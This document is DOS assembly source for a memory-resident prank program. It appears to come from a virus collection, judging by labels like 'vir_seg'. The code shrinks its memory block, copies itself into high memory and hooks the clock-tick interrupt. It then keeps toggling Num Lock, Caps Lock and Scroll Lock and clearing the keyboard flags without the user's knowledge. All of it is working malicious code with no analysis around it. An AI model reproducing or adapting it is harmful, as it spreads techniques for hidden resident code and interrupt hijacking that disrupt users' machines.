		.radix 16
     code       segment
		model  small
		assume cs:code, ds:code, es:code

		org 100h

len             equ offset last - begin

begin:
		jmp     cut_hole
		db      'á.¥Œk†d‰M–$'
cut_hole:  
		mov     ax,cs                    ; reduce memory size     
		dec     ax                           
		mov     ds,ax                        
		cmp     byte ptr ds:[0000],5a        
		jne     abort                        
		mov     ax,ds:[0003]                 
		sub     ax,40                        
		mov     ds:0003,ax
Zopy_me:  
		mov     bx,ax                    ; copy to claimed block  
		mov     ax,es                        
		add     ax,bx                       
		mov     es,ax
		mov     cx,len                   
		mov     ax,ds                       
		inc     ax
		mov     ds,ax
		lea     si,ds:[begin]            
		lea     di,es:0100                  
		rep     movsb                       
						    
		mov     [vir_seg],es        
		mov     ax,cs                       
		mov     es,ax
Grab_21:                                     
		cli
		mov     ax,351Ch                   ; hook 1c (clock tick)
		int     21h                     
		mov     ds,[vir_seg]   
		mov     ds:[old_1Ch],bx
		mov     ds:[old_1Ch+2],es
		mov     dx,offset lights
		mov     ax,251Ch                
		int     21h                     
		sti                            
abort:          int     20h

		
lights:         
		push    ds           ; save these            
		push    ax
		push    bx
		push    dx
		cmp     [click], 80d         ; after 80 clicks
		je      one
		cmp     [click], 160d        ; after 160 clicks
		je      two
		cmp     [click], 240d        ; after 240 clicks
		je      three
		cmp     [click], 0ffh        ; have we counted to 255?
		je      clear
		inc     [click]              ; increase click count
		jmp     endme
clear:          mov     [click], 00h         ; clear click count
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h              ; ds:bx = location o' flags
		and     byte ptr [bx],0      ; clear keyboard flag(s)
		jmp     endme
one:            inc     [click]
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h
		mov     byte ptr [bx],20h    ; set numlock flag
		jmp     endme
two:            inc     [click]
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h
		mov     byte ptr [bx],40h    ; set caps lock flag
		jmp     endme
three:          inc     [click]
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h              
		mov     byte ptr [bx],10h    ; set scroll lock flag
		jmp     endme


endme:       
		pop     dx                         ; byebye
		pop     bx                         ; restore shit
		pop     ax
		pop     ds
		cli
		db      0EAh                       ; jmp to old 1c 
old_1Ch         dw  00h,00h                        ; in case someone else
click           db  00h                            ; wants it
vir_seg         dw  ?

last            db  090h                                   


code            ends
		end begin
